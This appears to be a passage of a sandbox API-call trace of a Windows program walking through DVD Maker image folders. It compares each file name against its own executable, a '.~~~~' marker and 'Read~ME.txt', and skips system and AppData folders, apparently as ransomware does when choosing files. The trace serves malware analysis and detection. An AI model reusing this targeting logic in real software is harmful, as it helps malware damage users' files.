	[0081.590] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.590] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.591] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.591] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.591] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.591] GetCurrentThreadId () returned 0x618
	[0081.591] RtlWakeConditionVariable () returned 0x365f48
	[0081.591] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.591] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.591] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.591] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.591] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.591] GetCurrentThreadId () returned 0x618
	[0081.591] RtlWakeConditionVariable () returned 0x365f48
	[0081.591] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.591] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.591] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.591] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.591] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.591] GetCurrentThreadId () returned 0x618
	[0081.591] RtlWakeConditionVariable () returned 0x365f48
	[0081.592] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.592] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.592] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.592] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.592] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.592] GetCurrentThreadId () returned 0x618
	[0081.592] RtlWakeConditionVariable () returned 0x365f48
	[0081.592] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x2, cFileName="reflect.png", cAlternateFileName="")) returned 1
	[0081.592] lstrcmpiW (lpString1="reflect.png", lpString2="Windows") returned -1
	[0081.592] lstrcmpW (lpString1="reflect.png", lpString2="oiikyy.exe") returned 1
	[0081.592] StrStrW (lpFirst="reflect.png", lpSrch=".~~~~") returned 0x0
	[0081.592] lstrcmpW (lpString1="reflect.png", lpString2="Read~ME.txt") returned 1
	[0081.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.592] GetCurrentThreadId () returned 0x618
	[0081.592] RtlWakeConditionVariable () returned 0x365f48
	[0081.592] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x2, cFileName="vistabg.png", cAlternateFileName="")) returned 1
	[0081.592] lstrcmpiW (lpString1="vistabg.png", lpString2="Windows") returned -1
	[0081.592] lstrcmpW (lpString1="vistabg.png", lpString2="oiikyy.exe") returned 1
	[0081.592] StrStrW (lpFirst="vistabg.png", lpSrch=".~~~~") returned 0x0
	[0081.592] lstrcmpW (lpString1="vistabg.png", lpString2="Read~ME.txt") returned 1
	[0081.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.593] GetCurrentThreadId () returned 0x618
	[0081.593] RtlWakeConditionVariable () returned 0x365f48
	[0081.593] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x2, cFileName="vistabg.png", cAlternateFileName="")) returned 0
	[0081.593] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.593] GetCurrentThreadId () returned 0x618
	[0081.593] RtlWakeConditionVariable () returned 0x365f48
	[0081.593] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.594] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.594] lstrcmpW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.594] StrStrW (lpFirst="rectangle_babypink_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.594] lstrcmpW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.594] GetCurrentThreadId () returned 0x618
	[0081.594] RtlWakeConditionVariable () returned 0x365f48
	[0081.594] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.594] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.594] lstrcmpW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.594] StrStrW (lpFirst="rectangle_glass_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.594] lstrcmpW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.594] GetCurrentThreadId () returned 0x618
	[0081.594] RtlWakeConditionVariable () returned 0x365f48
	[0081.594] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.594] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.594] lstrcmpW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.594] StrStrW (lpFirst="rectangle_highlights_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.594] lstrcmpW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.594] GetCurrentThreadId () returned 0x618
	[0081.594] RtlWakeConditionVariable () returned 0x365f48
	[0081.594] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.594] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.594] lstrcmpW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.594] StrStrW (lpFirst="rectangle_performance_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.594] lstrcmpW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.594] GetCurrentThreadId () returned 0x618
	[0081.594] RtlWakeConditionVariable () returned 0x365f48
	[0081.595] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.595] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.595] lstrcmpW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.595] StrStrW (lpFirst="rectangle_photo_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.595] lstrcmpW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.595] GetCurrentThreadId () returned 0x618
	[0081.595] RtlWakeConditionVariable () returned 0x365f48
	[0081.595] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.595] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.595] lstrcmpW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.595] StrStrW (lpFirst="rectangle_plain_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.595] lstrcmpW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.595] GetCurrentThreadId () returned 0x618
	[0081.595] RtlWakeConditionVariable () returned 0x365f48
	[0081.595] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.595] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.595] lstrcmpW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.595] StrStrW (lpFirst="rectangle_postage_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.595] lstrcmpW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.595] GetCurrentThreadId () returned 0x618
	[0081.595] RtlWakeConditionVariable () returned 0x365f48
	[0081.595] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.595] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.595] lstrcmpW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.595] StrStrW (lpFirst="rectangle_scrapbook_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.595] lstrcmpW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.595] GetCurrentThreadId () returned 0x618
	[0081.596] RtlWakeConditionVariable () returned 0x365f48
	[0081.596] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.596] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.596] lstrcmpW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.596] StrStrW (lpFirst="rectangle_specialocc_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.596] lstrcmpW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.596] GetCurrentThreadId () returned 0x618
	[0081.596] RtlWakeConditionVariable () returned 0x365f48
	[0081.596] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.596] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.596] lstrcmpW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.596] StrStrW (lpFirst="rectangle_travel_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.596] lstrcmpW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.596] GetCurrentThreadId () returned 0x618
	[0081.597] RtlWakeConditionVariable () returned 0x365f48
	[0081.597] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.597] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.597] lstrcmpW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.597] StrStrW (lpFirst="rectangle_widescreen_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.597] lstrcmpW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.597] GetCurrentThreadId () returned 0x618
	[0081.597] RtlWakeConditionVariable () returned 0x365f48
	[0081.597] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1
	[0081.597] lstrcmpiW (lpString1="ResizingPanels", lpString2="Windows") returned -1
	[0081.597] lstrcmpW (lpString1="ResizingPanels", lpString2=".") returned 1
	[0081.597] lstrcmpW (lpString1="ResizingPanels", lpString2="..") returned 1
	[0081.597] lstrcmpW (lpString1="ResizingPanels", lpString2="AppData") returned 1
	[0081.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels", lpSrch="AppData") returned 0x0
	[0081.597] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.597] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels", lpString2="C:\\Windows") returned -1
	[0081.597] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.597] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels", lpString2="C:\\System Volume Information") returned -1
	[0081.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0081.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.768] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.768] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.768] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.768] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.768] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.768] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.769] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.769] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.769] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.769] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.769] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.769] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.769] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0081.769] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0081.769] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0081.769] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0081.769] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0081.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.769] GetCurrentThreadId () returned 0x618
	[0081.769] RtlWakeConditionVariable () returned 0x365f48
	[0081.769] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x2, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0081.769] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="Windows") returned -1
	[0081.769] lstrcmpW (lpString1="203x8subpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.769] StrStrW (lpFirst="203x8subpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.769] lstrcmpW (lpString1="203x8subpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.769] GetCurrentThreadId () returned 0x618
	[0081.769] RtlWakeConditionVariable () returned 0x365f48
